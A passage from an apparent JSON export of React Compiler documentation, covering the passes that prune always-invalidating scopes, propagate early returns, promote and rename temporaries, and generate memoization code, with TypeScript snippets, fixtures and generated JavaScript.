a scope defines a variable, but that version is never read and always\n * overwritten later.\n * see reassignment-separate-scopes.js for example\n */\nlastUsage: Map<DeclarationId, InstructionId> = new Map();\n```\n\n## Example\n\n### Fixture: `merge-consecutive-scopes-deps-subset-of-decls.js`\n\n**Input:**\n```javascript\nimport {useState} from 'react';\n\nfunction Component() {\n  const [count, setCount] = useState(0);\n  return (\n    <div>\n      <button onClick={() => setCount(count - 1)}>Decrement</button>\n      <button onClick={() => setCount(count + 1)}>Increment</button>\n    </div>\n  );\n}\n```\n\n**After MergeReactiveScopesThatInvalidateTogether** (from `yarn snap -p merge-consecutive-scopes-deps-subset-of-decls.js -d`):\n```\nscope @1 [7:24] dependencies=[count$32:TPrimitive] declarations=[$51_@5] reassignments=[] {\n  [8] $35_@1 = Function @context[setCount$33, count$32]  // decrement callback\n  [10] $41 = JSXText \"Decrement\"\n  [12] $42_@2 = JSX <button onClick={$35_@1}>{$41}</button>\n  [15] $43_@3 = Function @context[setCount$33, count$32]  // increment callback\n  [17] $49 = JSXText \"Increment\"\n  [19] $50_@4 = JSX <button onClick={$43_@3}>{$49}</button>\n  [22] $51_@5 = JSX <div>{$42_@2}{$50_@4}</div>\n}\n```\n\nAll scopes are merged because they share `count` as a dependency. Without merging, this would have separate scopes for each callback and button element.\n\n**Generated Code:**\n```javascript\nfunction Component() {\n  const $ = _c(2);\n  const [count, setCount] = useState(0);\n  let t0;\n  if ($[0] !== count) {\n    t0 = (\n      <div>\n        <button onClick={() => setCount(count - 1)}>Decrement</button>\n        <button onClick={() => setCount(count + 1)}>Increment</button>\n      </div>\n    );\n    $[0] = count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n```\n\nThe merged version uses only 2 cache slots instead of potentially 6-8.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/27-pruneAlwaysInvalidatingScopes.md",
    "content": "# pruneAlwaysInvalidatingScopes\n\n## File\n`src/ReactiveScopes/PruneAlwaysInvalidatingScopes.ts`\n\n## Purpose\nThis pass identifies and prunes reactive scopes whose dependencies will *always* invalidate on every render, making memoization pointless. Specifically, it tracks values that are guaranteed to be new allocations (arrays, objects, JSX, new expressions) and checks if those values are used outside of any memoization scope. When a downstream scope depends on such an unmemoized always-invalidating value, the scope is pruned because it would re-execute on every render anyway.\n\nThe optimization avoids wasted comparisons in the generated code. Without this pass, the compiler would emit dependency checks for scopes that will never cache-hit, adding runtime overhead with no benefit. By converting these scopes to `pruned-scope` nodes, the codegen emits the instructions inline without memoization guards.\n\n## Input Invariants\n- The pass expects a `ReactiveFunction` with scopes already formed\n- Scopes should have their `dependencies` populated with the identifiers they depend on\n- The pass runs after `MergeReactiveScopesThatInvalidateTogether`\n- Hook calls have already caused scope flattening via `FlattenScopesWithHooksOrUseHIR`\n\n## Output Guarantees\n- Scopes that depend on unmemoized always-invalidating values are converted to `pruned-scope` nodes\n- The `unmemoizedValues` set correctly propagates through `StoreLocal`/`LoadLocal` instructions\n- All declarations and reassignments within pruned scopes that are themselves always-invalidating are added to `unmemoizedValues`, enabling cascading pruning of downstream scopes\n\n## Algorithm\n\nThe pass uses a `ReactiveFunctionTransform` visitor with two key methods:\n\n### 1. `transformInstruction` - Tracks always-invalidating values:\n\n```typescript\nswitch (value.kind) {\n  case 'ArrayExpression':\n  case 'ObjectExpression':\n  case 'JsxExpression':\n  case 'JsxFragment':\n  case 'NewExpression': {\n    if (lvalue !== null) {\n      this.alwaysInvalidatingValues.add(lvalue.identifier);\n      if (!withinScope) {\n        this.unmemoizedValues.add(lvalue.identifier);  // Key: only if outside a scope\n      }\n    }\n    break;\n  }\n  // Also propagates through StoreLocal and LoadLocal\n}\n```\n\n### 2. `transformScope` - Prunes scopes with unmemoized dependencies:\n\n```typescript\nfor (const dep of scopeBlock.scope.dependencies) {\n  if (this.unmemoizedValues.has(dep.identifier)) {\n    // Propagate unmemoized status to scope outputs\n    for (const [_, decl] of scopeBlock.scope.declarations) {\n      if (this.alwaysInvalidatingValues.has(decl.identifier)) {\n        this.unmemoizedValues.add(decl.identifier);\n      }\n    }\n    return {\n      kind: 'replace',\n      value: {\n        kind: 'pruned-scope',\n        scope: scopeBlock.scope,\n        instructions: scopeBlock.instructions,\n      },\n    };\n  }\n}\n```\n\n## Edge Cases\n\n### Function Calls Not Considered Always-Invalidating\nThe pass optimistically assumes function calls may return primitives, so `makeArray()` doesn't trigger pruning even though it might return a new array.\n\n### Conditional Allocations\nCode like `x = cond ? [] : 42` doesn't trigger pruning because the value might be a primitive.\n\n### Propagation Through Locals\nThe pass correctly tracks values through `StoreLocal` and `LoadLocal` to handle variable reassignments and loads.\n\n### Cascading Pruning\nWhen a scope is pruned, its always-invalidating outputs become unmemoized, potentially causing downstream scopes to be pruned as well.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `prune-scopes-whose-deps-invalidate-array.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  const x = [];\n  useHook();\n  x.push(props.value);\n  const y = [x];\n  return [y];\n}\n```\n\n**After PruneAlwaysInvalidatingScopes** (from `yarn snap -p prune-scopes-whose-deps-invalidate-array.js -d`):\n```\n<pruned> scope @0 [1:14] dependencies=[] declarations=[x$21_@0] reassignments=[] {\n  [2] $20_@0 = Array []\n  [3] StoreLocal Const x$21_@0 = $20_@0\n  [4] $23 = LoadGlobal import { useHook }\n  [6] $24_@1 = Call $23()       // Hook flattens scope\n  [7] break bb9 (implicit)\n  [8] $25_@0 = LoadLocal x$21_@0\n  [9] $26 = PropertyLoad $25_@0.push\n  [10] $27 = LoadLocal props$19\n  [11] $28 = PropertyLoad $27.value\n  [12] $29 = MethodCall $25_@0.$26($28)\n}\n[14] $30 = LoadLocal x$21_@0\n<pruned> scope @2 [15:23] dependencies=[x$21_@0:TObject<BuiltInArray>] declarations=[$35_@3] {\n  [16] $31_@2 = Array [$30]\n  [18] StoreLocal Const y$32 = $31_@2\n  [19] $34 = LoadLocal y$32\n  [21] $35_@3 = Array [$34]\n}\n[23] return $35_@3\n```\n\nKey observations:\n- Scope @0 is pruned because the hook call (`useHook()`) flattens it (hook rules prevent memoization around hooks)\n- `x` is an `ArrayExpression` created in the pruned scope @0, making it unmemoized\n- Scope @2 depends on `x$21_@0` which is unmemoized and always-invalidating (it's an array)\n- Therefore, scope @2 is also pruned - cascading pruning\n\n**Generated Code:**\n```javascript\nfunction Component(props) {\n  const x = [];\n  useHook();\n  x.push(props.value);\n  const y = [x];\n  return [y];\n}\n```\n\nThe output matches the input because all memoization was pruned - the code runs unconditionally on every render.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/28-propagateEarlyReturns.md",
    "content": "# propagateEarlyReturns\n\n## File\n`src/ReactiveScopes/PropagateEarlyReturns.ts`\n\n## Purpose\nThe `propagateEarlyReturns` pass ensures that reactive scopes (memoization blocks) correctly honor the control flow behavior of the original code, particularly when a function returns early from within a reactive scope. Without this transformation, if a component returned early on the previous render and the inputs have not changed, the cached memoization block would be skipped entirely, but the early return would not occur, causing incorrect behavior.\n\nThe pass solves this by transforming `return` statements inside reactive scopes into assignments to a temporary variable followed by a labeled `break`. After the reactive scope completes, generated code checks whether the early return sentinel value was replaced with an actual return value; if so, the function returns that value.\n\n## Input Invariants\n1. **ReactiveFunction structure**: The input must be a `ReactiveFunction` with scopes already inferred (reactive scope blocks are already established)\n2. **Scope earlyReturnValue not set**: The pass expects `scopeBlock.scope.earlyReturnValue === null` for scopes it processes\n3. **Return statements within reactive scopes**: The pass specifically targets `return` terminal statements that appear within a `withinReactiveScope` context\n\n## Output Guarantees\n1. **Labeled scope blocks**: Top-level reactive scopes containing early returns are wrapped in a labeled block (e.g., `bb14: { ... }`)\n2. **Sentinel initialization**: At the start of each such scope, a temporary variable is initialized to `Symbol.for(\"react.early_return_sentinel\")`\n3. **Return-to-break transformation**: All `return` statements inside the scope are replaced with:\n   - An assignment of the return value to the early return temporary\n   - A `break` to the scope's label\n4. **Early return declaration**: The temporary variable is registered as a declaration of the scope so it gets memoized\n5. **Post-scope check**: During codegen, an if-statement is added after the scope to check if the temporary differs from the sentinel and return it if so\n\n## Algorithm\n\nThe pass uses a visitor pattern with a `ReactiveFunctionTransform` that tracks two pieces of state:\n\n```typescript\ntype State = {\n  withinReactiveScope: boolean;  // Are we inside a reactive scope?\n  earlyReturnValue: ReactiveScope['earlyReturnValue'];  // Bubble up early return info\n};\n```\n\n### Key Steps:\n\n1. **visitScope** - When entering a reactive scope:\n   - Create an inner state with `withinReactiveScope: true`\n   - Traverse the scope's contents\n   - If any early returns were found (`earlyReturnValue !== null`):\n     - If this is the **outermost** scope (parent's `withinReactiveScope` is false):\n       - Store the early return info on the scope\n       - Add the temporary as a scope declaration\n       - Prepend sentinel initialization instructions\n       - Wrap the original instructions in a labeled block\n     - Otherwise, propagate the early return info to the parent scope\n\n2. **transformTerminal** - When encountering a `return` inside a reactive scope:\n   - Create or reuse an early return value identifier\n   - Replace the return with:\n     ```typescript\n     [\n       {kind: 'instruction', /* StoreLocal: reassign earlyReturnValue = returnValue */},\n       {kind: 'terminal', /* break to earlyReturnValue.label */}\n     ]\n     ```\n\n### Sentinel Initialization Code (synthesized at scope start):\n```typescript\n// Load Symbol.for and call it with the sentinel string\nlet t0 = Symbol.for(\"react.early_return_sentinel\");\n```\n\n## Edge Cases\n\n### Nested Reactive Scopes\nWhen early returns occur in nested scopes, only the **outermost** scope gets the labeled block wrapper. Inner scopes bubble their early return information up via `parentState.earlyReturnValue`.\n\n### Multiple Early Returns in Same Scope\nAll returns share the same temporary variable and label. The first return found creates the identifier, subsequent returns reuse it.\n\n### Partial Early Returns\nWhen only some control flow paths return early (e.g., one branch returns, the other falls through), the sentinel check after the scope allows normal execution to continue if no early return occurred.\n\n### Already Processed Scopes\nIf `scopeBlock.scope.earlyReturnValue !== null` on entry, the pass exits early without modification.\n\n### Returns Outside Reactive Scopes\nThe pass only transforms returns where `state.withinReactiveScope === true`. Returns outside scopes are left unchanged.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `early-return-within-reactive-scope.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    return x;\n  } else {\n    return makeArray(props.b);\n  }\n}\n```\n\n**After PropagateEarlyReturns** (from `yarn snap -p early-return-within-reactive-scope.js -d`):\n```\nscope @0 [...] earlyReturn={id: #t34$34, label: 14} {\n  [0] $36 = LoadGlobal(global) Symbol\n  [0] $37 = PropertyLoad $36.for\n  [0] $38 = \"react.early_return_sentinel\"\n  [0] $35 = MethodCall $36.$37($38)\n  [0] StoreLocal Let #t34$34{reactive} = $35    // Initialize sentinel\n  bb14: {\n    [2] $19_@0 = Array []\n    [3] StoreLocal Const x$20_@0 = $19_@0\n    [4] $22{reactive} = LoadLocal props$18\n    [5] $23{reactive} = PropertyLoad $22.cond\n    [6] if ($23) {\n      [7] $24_@0 = LoadLocal x$20_@0\n      [8] $25 = PropertyLoad $24_@0.push\n      [9] $26 = LoadLocal props$18\n      [10] $27 = PropertyLoad $26.a\n      [11] $28 = MethodCall $24_@0.$25($27)\n      [12] $29 = LoadLocal x$20_@0\n      [0] StoreLocal Reassign #t34$34 = $29     // was: return x\n      [0] break bb14 (labeled)\n    } else {\n      [14] $30 = LoadGlobal import { makeArray }\n      [15] $31 = LoadLocal props$18\n      [16] $32 = PropertyLoad $31.b\n      scope @1 [...] {\n        [18] $33_@1 = Call $30($32)\n      }\n      [0] StoreLocal Reassign #t34$34 = $33_@1  // was: return makeArray(props.b)\n      [0] break bb14 (labeled)\n    }\n  }\n}\n```\n\nKey observations:\n- Scope @0 now has `earlyReturn={id: #t34$34, label: 14}`\n- Sentinel initialization code is prepended to the scope\n- The scope body is wrapped in `bb14: { ... }`\n- Both `return x` and `return makeArray(props.b)` are transformed to `StoreLocal Reassign + break bb14`\n\n**Generated Code:**\n```javascript\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const x = [];\n      if (props.cond) {\n        x.push(props.a);\n        t0 = x;\n        break bb0;\n      } else {\n        let t1;\n        if ($[4] !== props.b) {\n          t1 = makeArray(props.b);\n          $[4] = props.b;\n          $[5] = t1;\n        } else {\n          t1 = $[5];\n        }\n        t0 = t1;\n        break bb0;\n      }\n    }\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = props.cond;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n}\n```\n\nThis transformation ensures that when inputs don't change, the cached return value is used and returned, preserving referential equality and correct early return behavior.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/29-promoteUsedTemporaries.md",
    "content": "# promoteUsedTemporaries\n\n## File\n`src/ReactiveScopes/PromoteUsedTemporaries.ts`\n\n## Purpose\nThis pass promotes temporary variables (identifiers with no name) to named variables when they need to be referenced across scope boundaries or in code generation. Temporaries are intermediate values that the compiler creates during lowering; they are typically inlined at their use sites during codegen. However, some temporaries must be emitted as separate declarations - this pass identifies and names them.\n\nThe pass ensures that:\n1. Scope dependencies and declarations have proper names for codegen\n2. Variables referenced across reactive scope boundaries are named\n3. JSX tag identifiers get special naming (`T0`, `T1`, etc.)\n4. Temporaries with interposing side-effects are promoted to preserve ordering\n\n## Input Invariants\n- The ReactiveFunction has undergone scope construction and dependency propagation\n- Identifiers may have `name === null` (temporaries) or be named\n- Scopes have `dependencies`, `declarations`, and `reassignments` populated\n- Pruned scopes are properly marked with `kind: 'pruned-scope'`\n\n## Output Guarantees\n- All scope dependencies have non-null names\n- All scope declarations have non-null names\n- JSX tag temporaries use uppercase naming (`T0`, `T1`, ...)\n- Regular temporaries use lowercase naming (`#t{id}`)\n- All instances of a promoted identifier share the same name (via DeclarationId tracking)\n- Temporaries with interposing mutating instructions are promoted to preserve source ordering\n\n## Algorithm\n\nThe pass operates in four phases using visitor classes:\n\n### Phase 1: CollectPromotableTemporaries\nCollects information about which temporaries may need promotion:\n\n```typescript\nclass CollectPromotableTemporaries {\n  // Tracks pruned scope declarations and whether they're used outside their scope\n  pruned: Map<DeclarationId, {activeScopes: Array<ScopeId>; usedOutsideScope: boolean}>\n\n  // Tracks identifiers used as JSX tags (need uppercase names)\n  tags: Set<DeclarationId>\n}\n```\n\n- When visiting a `JsxExpression`, adds the tag identifier to `tags`\n- When visiting a `PrunedScope`, records its declarations\n- Tracks when pruned declarations are used in different scopes\n\n### Phase 2: PromoteTemporaries\nPromotes temporaries that appear in positions requiring names:\n\n```typescript\noverride visitScope(scopeBlock: ReactiveScopeBlock, state: State): void {\n  // Promote all dependencies without names\n  for (const dep of scopeBlock.scope.dependencies) {\n    if (identifier.name == null) {\n      promoteIdentifier(identifier, state);\n    }\n  }\n  // Promote all declarations without names\n  for (const [, declaration] of scopeBlock.scope.declarations) {\n    if (declaration.identifier.name == null) {\n      promoteIdentifier(declaration.identifier, state);\n    }\n  }\n}\n```\n\nAlso promotes:\n- Function parameters without names\n- Pruned scope declarations used outside their scope\n\n### Phase 3: PromoteInterposedTemporaries\nHandles ordering-sensitive promotion:\n\n```typescript\nclass PromoteInterposedTemporaries {\n  // Instructions that emit as statements can interpose between temp defs and uses\n  // If such an instruction occurs, mark pending temporaries as needing promotion\n\n  override visitInstruction(instruction: ReactiveInstruction, state: InterState): void {\n    // For instructions that become statements (calls, stores, etc.):\n    if (willBeStatement && !constStore) {\n      // Mark all pending temporaries as needing promotion\n      for (const [key, [ident, _]] of state.entries()) {\n        state.set(key, [ident, true]);  // Mark as needing promotion\n      }\n    }\n  }\n}\n```\n\nThis preserves source ordering when side-effects occur between a temporary's definition and use.\n\n### Phase 4: PromoteAllInstancesOfPromotedTemporaries\nEnsures all instances of a promoted identifier share the same name:\n\n```typescript\nclass PromoteAllInstancesOfPromotedTemporaries {\n  override visitPlace(_id: InstructionId, place: Place, state: State): void {\n    if (place.identifier.name === null &&\n        state.promoted.has(place.identifier.declarationId)) {\n      promoteIdentifier(place.identifier, state);\n    }\n  }\n}\n```\n\n### Naming Convention\n```typescript\nfunction promoteIdentifier(identifier: Identifier, state: State): void {\n  if (state.tags.has(identifier.declarationId)) {\n    promoteTemporaryJsxTag(identifier);  // Uses #T{id} for JSX tags\n  } else {\n    promoteTemporary(identifier);  // Uses #t{id} for regular temps\n  }\n  state.promoted.add(identifier.declarationId);\n}\n```\n\n## Edge Cases\n\n### JSX Tag Temporaries\nJSX tags require uppercase names to be valid JSX syntax. The pass tracks which temporaries are used as JSX tags and uses `T0`, `T1`, etc. instead of `t0`, `t1`.\n\n### Pruned Scope Declarations\nDeclarations in pruned scopes are only promoted if they're actually used outside the pruned scope, avoiding unnecessary variable declarations.\n\n### Const vs Let Temporaries\nThe pass tracks const identifiers specially - they don't need promotion for ordering purposes since they can't be mutated by interposing instructions.\n\n### Global Loads\nValues loaded from globals (and their property loads) are treated as const-like for promotion purposes.\n\n### Method Call Properties\nThe property identifier in a method call is treated as const-like to avoid unnecessary promotion.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `simple.js`\n\n**Input:**\n```javascript\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n```\n\n**Before PromoteUsedTemporaries:**\n```\nscope @0 [...] dependencies=[y$14] declarations=[$19_@0]\nscope @1 [...] dependencies=[$22] declarations=[$23_@1]\n```\n\n**After PromoteUsedTemporaries:**\n```\nscope @0 [...] dependencies=[y$14] declarations=[#t5$19_@0]\nscope @1 [...] dependencies=[#t9$22] declarations=[#t10$23_@1]\n```\n\nKey observations:\n- `$19_@0` is promoted to `#t5$19_@0` because it's a scope declaration\n- `$22` is promoted to `#t9$22` because it's a scope dependency\n- `$23_@1` is promoted to `#t10$23_@1` because it's a scope declaration\n- The `#t` prefix indicates this is a promoted temporary (later renamed by `renameVariables`)\n\n**Generated Code:**\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport default function foo(x, y) {\n  const $ = _c(4);\n  if (x) {\n    let t0;\n    if ($[0] !== y) {\n      t0 = foo(false, y);\n      $[0] = y;\n      $[1] = t0;\n    } else {\n      t0 = $[1];\n    }\n    return t0;\n  }\n  const t0 = y * 10;\n  let t1;\n  if ($[2] !== t0) {\n    t1 = [t0];\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n```\n\nThe promoted temporaries (`#t5`, `#t9`, `#t10`) become the named variables (`t0`, `t1`) in the output after `renameVariables` runs.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/30-renameVariables.md",
    "content": "# renameVariables\n\n## File\n`src/ReactiveScopes/RenameVariables.ts`\n\n## Purpose\nThis pass ensures that every named variable in the function has a unique name that doesn't conflict with other variables in the same block scope or with global identifiers. After scope construction and temporary promotion, variables from different source scopes may end up in the same reactive block - this pass resolves any naming conflicts.\n\nThe pass also converts the `#t{id}` promoted temporary names into clean output names like `t0`, `t1`, etc.\n\n## Input Invariants\n- The ReactiveFunction has been through `promoteUsedTemporaries`\n- Variables may have names that conflict with:\n  - Other variables in the same or ancestor block scope\n  - Global identifiers referenced by the function\n  - Promoted temporaries with `#t{id}` or `#T{id}` naming\n- The function parameters have names (either from source or promoted)\n\n## Output Guarantees\n- Every named variable has a unique name within its scope\n- No variable shadows a global identifier referenced by the function\n- Promoted temporaries are renamed to `t0`, `t1`, ... (for regular temps)\n- Promoted JSX temporaries are renamed to `T0`, `T1`, ... (for JSX tags)\n- Conflicting source names get disambiguated with `$` suffix (e.g., `foo$0`, `foo$1`)\n- Returns a `Set<string>` of all unique variable names in the function\n\n## Algorithm\n\n### Phase 1: Collect Referenced Globals\nUses `collectReferencedGlobals(fn)` to build a set of all global identifiers referenced by the function. Variable names must not conflict with these.\n\n### Phase 2: Rename with Scope Stack\nThe `Scopes` class maintains:\n\n```typescript\nclass Scopes {\n  #seen: Map<DeclarationId, IdentifierName> = new Map();  // Canonical name for each declaration\n  #stack: Array<Map<string, DeclarationId>> = [new Map()];  // Block scope stack\n  #globals: Set<string>;  // Global names to avoid\n  names: Set<ValidIdentifierName> = new Set();  // All assigned names\n}\n```\n\n### Renaming Logic\n```typescript\nvisit(identifier: Identifier): void {\n  // Skip unnamed identifiers\n  if (originalName === null) return;\n\n  // If we've already named this declaration, reuse that name\n  const mappedName = this.#seen.get(identifier.declarationId);\n  if (mappedName !== undefined) {\n    identifier.name = mappedName;\n    return;\n  }\n\n  // Find a unique name\n  let name = originalName.value;\n  let id = 0;\n\n  // Promoted temporaries start with t0/T0\n  if (isPromotedTemporary(originalName.value)) {\n    name = `t${id++}`;\n  } else if (isPromotedJsxTemporary(originalName.value)) {\n    name = `T${id++}`;\n  }\n\n  // Increment until we find a unique name\n  while (this.#lookup(name) !== null || this.#globals.has(name)) {\n    if (isPromotedTemporary(...)) {\n      name = `t${id++}`;\n    } else if (isPromotedJsxTemporary(...)) {\n      name = `T${id++}`;\n    } else {\n      name = `${originalName.value}$${id++}`;  // foo$0, foo$1, etc.\n    }\n  }\n\n  identifier.name = makeIdentifierName(name);\n  this.#seen.set(identifier.declarationId, identifier.name);\n}\n```\n\n### Scope Management\n```typescript\nenter(fn: () => void): void {\n  this.#stack.push(new Map());\n  fn();\n  this.#stack.pop();\n}\n\n#lookup(name: string): DeclarationId | null {\n  // Search from innermost to outermost scope\n  for (let i = this.#stack.length - 1; i >= 0; i--) {\n    const entry = this.#stack[i].get(name);\n    if (entry !== undefined) return entry;\n  }\n  return null;\n}\n```\n\n### Visitor Pattern\n```typescript\nclass Visitor extends ReactiveFunctionVisitor<Scopes> {\n  override visitBlock(block: ReactiveBlock, state: Scopes): void {\n    state.enter(() => {\n      this.traverseBlock(block, state);\n    });\n  }\n\n  override visitScope(scope: ReactiveScopeBlock, state: Scopes): void {\n    // Visit scope declarations first\n    for (const [_, declaration] of scope.scope.declarations) {\n      state.visit(declaration.identifier);\n    }\n    this.traverseScope(scope, state);\n  }\n\n  override visitPlace(id: InstructionId, place: Place, state: Scopes): void {\n    state.visit(place.identifier);\n  }\n}\n```\n\n## Edge Cases\n\n### Shadowed Variables\nWhen the compiler merges scopes that had shadowing in the source:\n```javascript\nfunction foo() {\n  const x = 1;\n  {\n    const x = 2;  // Shadowed in source\n  }\n}\n```\nIf both `x` declarations end up in the same compiled scope, they become `x` and `x$0`.\n\n### Global Name Conflicts\nIf a local variable would conflict with a referenced global:\n```javascript\nfunction foo() {\n  const Math = 1;  // Conflicts with global Math if used\n}\n```\nThe local gets renamed to `Math$0` if `Math` global is referenced.\n\n### Nested Functions\nThe pass recursively processes nested function expressions, entering a new scope for each function body.\n\n### Pruned Scopes\nPruned scopes don't create a new block scope in the output - the pass traverses their instructions without entering a new scope level.\n\n### DeclarationId Consistency\nThe pass uses `DeclarationId` to track which identifiers refer to the same variable, ensuring all references get the same renamed name.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `simple.js`\n\n**Before RenameVariables:**\n```\nscope @0 [...] declarations=[#t5$19_@0]\nscope @1 [...] dependencies=[#t9$22] declarations=[#t10$23_@1]\n```\n\n**After RenameVariables:**\n```\nscope @0 [...] declarations=[t0$19_@0]\nscope @1 [...] dependencies=[t0$22] declarations=[t1$23_@1]\n```\n\nKey observations:\n- `#t5$19_@0` becomes `t0$19_@0` (first temporary in scope)\n- `#t9$22` becomes `t0$22` (first temporary in a different block scope)\n- `#t10$23_@1` becomes `t1$23_@1` (second temporary in that block)\n- The `#t` prefix is removed and sequential numbering is applied\n\n**Generated Code:**\n```javascript\nexport default function foo(x, y) {\n  const $ = _c(4);\n  if (x) {\n    let t0;  // Was #t5\n    if ($[0] !== y) {\n      t0 = foo(false, y);\n      // ...\n    }\n    return t0;\n  }\n  const t0 = y * 10;  // Was #t9, reuses t0 since different block scope\n  let t1;  // Was #t10\n  // ...\n}\n```\n\nThe pass produces clean, readable output with minimal variable names while avoiding conflicts.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/31-codegenReactiveFunction.md",
    "content": "# codegenReactiveFunction\n\n## File\n`src/ReactiveScopes/CodegenReactiveFunction.ts`\n\n## Purpose\nThis is the final pass that converts the ReactiveFunction representation back into a Babel AST. It generates the memoization code that makes React components and hooks efficient by:\n1. Creating the `useMemoCache` call to allocate cache slots\n2. Generating dependency comparisons to check if values have changed\n3. Emitting conditional blocks that skip computation when cached values are valid\n4. Storing computed values in the cache\n5. Loading cached values when dependencies haven't changed\n\n## Input Invariants\n- The ReactiveFunction has been through all prior passes\n- All identifiers that need names have been promoted and renamed\n- Reactive scopes have finalized `dependencies`, `declarations`, and `reassignments`\n- Early returns have been transformed with sentinel values (via `propagateEarlyReturns`)\n- Pruned scopes are marked with `kind: 'pruned-scope'`\n- Unique identifiers set is available to avoid naming conflicts\n\n## Output Guarantees\n- Returns a `CodegenFunction` with Babel AST `body`\n- All reactive scopes become if-else blocks checking dependencies\n- The `$` cache array is properly sized with `useMemoCache(n)`\n- Each dependency and output gets its own cache slot\n- Pruned scopes emit their instructions inline without memoization\n- Early returns use the sentinel pattern with post-scope checks\n- Statistics are collected: `memoSlotsUsed`, `memoBlocks`, `memoValues`, etc.\n\n## Algorithm\n\n### Entry Point: codegenFunction\n```typescript\nexport function codegenFunction(fn: ReactiveFunction): Result<CodegenFunction, CompilerError> {\n  const cx = new Context(...);\n\n  // Optional: Fast Refresh source hash tracking\n  if (enableResetCacheOnSourceFileChanges) {\n    fastRefreshState = { cacheIndex: cx.nextCacheIndex, hash: sha256(source) };\n  }\n\n  const compiled = codegenReactiveFunction(cx, fn);\n\n  // Prepend useMemoCache call if any cache slots used\n  if (cacheCount !== 0) {\n    body.unshift(\n      t.variableDeclaration('const', [\n        t.variableDeclarator(\n          t.identifier('$'),\n          t.callExpression(t.identifier('useMemoCache'), [t.numericLiteral(cacheCount)])\n        )\n      ])\n    );\n  }\n\n  return compiled;\n}\n```\n\n### Context Class\nTracks state during codegen:\n```typescript\nclass Context {\n  #nextCacheIndex: number = 0;  // Allocates cache slots\n  #declarations: Set<DeclarationId> = new Set();  // Tracks declared variables\n  temp: Temporaries;  // Maps identifiers to their expressions\n  errors: CompilerError;\n\n  get nextCacheIndex(): number {\n    return this.#nextCacheIndex++;  // Returns and increments\n  }\n}\n```\n\n### codegenReactiveScope\nThe core of memoization code generation:\n\n```typescript\nfunction codegenReactiveScope(cx: Context, statements: Array<t.Statement>,\n                              scope: ReactiveScope, block: ReactiveBlock): void {\n  const changeExpressions: Array<t.Expression> = [];\n  const cacheStoreStatements: Array<t.Statement> = [];\n  const cacheLoadStatements: Array<t.Statement> = [];\n\n  // 1. Generate dependency checks\n  for (const dep of scope.dependencies) {\n    const index = cx.nextCacheIndex;\n    changeExpressions.push(\n      t.binaryExpression('!==',\n        t.memberExpression(t.identifier('$'), t.numericLiteral(index), true),\n        codegenDependency(cx, dep)\n      )\n    );\n    cacheStoreStatements.push(\n      t.assignmentExpression('=', $[index], dep)\n    );\n  }\n\n  // 2. Generate output cache slots\n  for (const {identifier} of scope.declarations) {\n    const index = cx.nextCacheIndex;\n    // Declare variable if not already declared\n    if (!cx.hasDeclared(identifier)) {\n      statements.push(t.variableDeclaration('let', [t.variableDeclarator(name, null)]));\n    }\n    cacheLoads.push({name, index, value: name});\n  }\n\n  // 3. Build test condition\n  let testCondition = changeExpressions.reduce((acc, expr) =>\n    t.logicalExpression('||', acc, expr)\n  );\n\n  // 4. If no dependencies, use sentinel check\n  if (testCondition === null) {\n    testCondition = t.binaryExpression('===',\n      $[firstOutputIndex],\n      t.callExpression(Symbol.for, ['react.memo_cache_sentinel'])\n    );\n  }\n\n  // 5. Generate the memoization if-else\n  statements.push(\n    t.ifStatement(\n      testCondition,\n      computationBlock,  // Compute + store in cache\n      cacheLoadBlock     // Load from cache\n    )\n  );\n}\n```\n\n### Generated Structure\nFor a scope with dependencies `[a, b]` and output `result`:\n\n```javascript\nlet result;\nif ($[0] !== a || $[1] !== b) {\n  // Computation block\n  result = compute(a, b);\n\n  // Store dependencies\n  $[0] = a;\n  $[1] = b;\n\n  // Store output\n  $[2] = result;\n} else {\n  // Load from cache\n  result = $[2];\n}\n```\n\n### Early Return Handling\nWhen a scope has an early return (from `propagateEarlyReturns`):\n\n```typescript\n// Before scope: initialize sentinel\nt0 = Symbol.for(\"react.early_return_sentinel\");\n\n// Scope generates labeled block\nbb0: {\n  // ... computation ...\n  if (cond) {\n    t0 = returnValue;\n    break bb0;\n  }\n}\n\n// After scope: check for early return\nif (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n  return t0;\n}\n```\n\n### Pruned Scopes\nPruned scopes emit their instructions inline without memoization:\n```typescript\ncase 'pruned-scope': {\n  const scopeBlock = codegenBlockNoReset(cx, item.instructions);\n  statements.push(...scopeBlock.body);  // Inline, no memoization\n  break;\n}\n```\n\n## Edge Cases\n\n### Zero Dependencies\nScopes with no dependencies use a sentinel value check instead:\n```javascript\nif ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n  // First render only\n}\n```\n\n### Fast Refresh / HMR\nWhen `enableResetCacheOnSourceFileChanges` is enabled, the generated code includes a source hash check that resets the cache when the source changes:\n```javascript\nif ($[0] !== \"source_hash_abc123\") {\n  for (let $i = 0; $i < cacheCount; $i++) {\n    $[$i] = Symbol.for(\"react.memo_cache_sentinel\");\n  }\n  $[0] = \"source_hash_abc123\";\n}\n```\n\n\n### Labeled Breaks\nControl flow with labeled breaks (for 